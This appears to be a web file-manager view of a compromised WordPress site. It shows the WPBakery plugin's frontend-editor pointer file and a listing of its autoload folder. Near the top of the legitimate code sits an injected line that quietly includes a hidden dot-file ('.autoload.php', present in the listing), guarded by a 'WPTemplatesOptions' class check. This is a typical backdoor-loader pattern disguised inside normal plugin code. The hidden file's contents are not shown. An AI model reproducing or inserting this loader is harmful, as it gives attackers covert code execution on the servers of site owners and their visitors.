PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
jscomposer
/
include
/
autoload
<?php if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Add WP ui pointers to backend editor. */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function vc_frontend_editor_pointer() { vc_is_frontend_editor() && add_filter( 'vc-ui-pointers', 'vc_frontend_editor_register_pointer' ); } add_action( 'admin_init', 'vc_frontend_editor_pointer' ); function vc_frontend_editor_register_pointer( $pointers ) { global $post; if ( is_object( $post ) && ! strlen( $post->post_content ) ) { $pointers['vc_pointers_frontend_editor'] = array( 'name' => 'vcPointerController', 'messages' => array( array( 'target' => '#vc_add-new-element', 'options' => array( 'content' => sprintf( '<h3> %s </h3> <p> %s </p>', __( 'Add Elements', 'js_composer' ), __( 'Add new element or start with a template.', 'js_composer' ) ), 'position' => array( 'edge' => 'top', 'align' => 'left', ), 'buttonsEvent' => 'vcPointersEditorsTourEvents', ), 'closeEvent' => 'shortcodes:add', ), array( 'target' => '.vc_controls-out-tl:first', 'options' => array( 'content' => sprintf( '<h3> %s </h3> <p> %s </p>', __( 'Rows and Columns', 'js_composer' ), __( 'This is a row container. Divide it into columns and style it. You can add elements into columns.', 'js_composer' ) ), 'position' => array( 'edge' => 'left', 'align' => 'center', ), 'buttonsEvent' => 'vcPointersEditorsTourEvents', ), 'closeCallback' => 'vcPointersCloseInIFrame', 'showCallback' => 'vcPointersSetInIFrame', ), array( 'target' => '.vc_controls-cc:first', 'options' => array( 'content' => sprintf( '<h3> %s </h3> <p> %s <br/><br/> %s</p>', __( 'Control Elements', 'js_composer' ), __( 'You can edit your element at any time and drag it around your layout.', 'js_composer' ), sprintf( __( 'P.S. Learn more at our <a href="%s" target="_blank">Knowledge Base</a>.', 'js_composer' ), 'http://kb.wpbakery.com' ) ), 'position' => array( 'edge' => 'left', 'align' => 'center', ), 'buttonsEvent' => 'vcPointersEditorsTourEvents', ), 'closeCallback' => 'vcPointersCloseInIFrame', 'showCallback' => 'vcPointersSetInIFrame', ), ), ); } return $pointers; } // @todo check is this correct place (editable page) function vc_page_editable_enqueue_pointer_scripts() { if ( vc_is_page_editable() ) { wp_enqueue_style( 'wp-pointer' ); wp_enqueue_script( 'wp-pointer' ); } } add_action( 'wp_enqueue_scripts', 'vc_page_editable_enqueue_pointer_scripts' );
[+]
..
[-] bc-multisite-options.php
[edit]
[-] bc-access-rules-4.8.php
[edit]
[-] post-type-default-template.php
[edit]
[-] class-vc-vendor-presets.php
[edit]
[-] backend-editor-ie.php
[edit]
[-] hook-vc-grid.php
[edit]
[+]
params
[-] components.json
[edit]
[-] hook-vc-message.php
[edit]
[-] vc-pointers-frontend-editor.php
[edit]
[-] vc-grid-item-editor.php
[edit]
[-] vc-undoredo.php
[edit]
[-] hook-vc-pie.php
[edit]
[-] hook-vc-iconpicker-param.php
[edit]
[-] vc-single-image.php
[edit]
[-] vc-pointers-backend-editor.php
[edit]
[-] class-vc-settings-presets.php
[edit]
[-] vc-image-filters.php
[edit]
[+]
vendors
[-] ui-vc-pointers.php
[edit]
[+]
vc-pages
[-] .autoload.php
[edit]
[-] hook-vc-progress-bar.php
[edit]
[-] frontend-editor-ie.php
[edit]
[-] hook-vc-wp-text.php
[edit]
[-] vc-settings-presets.php
[edit]
[-] vc-shortcode-autoloader.php
[edit]
[-] params-to-init.php
[edit]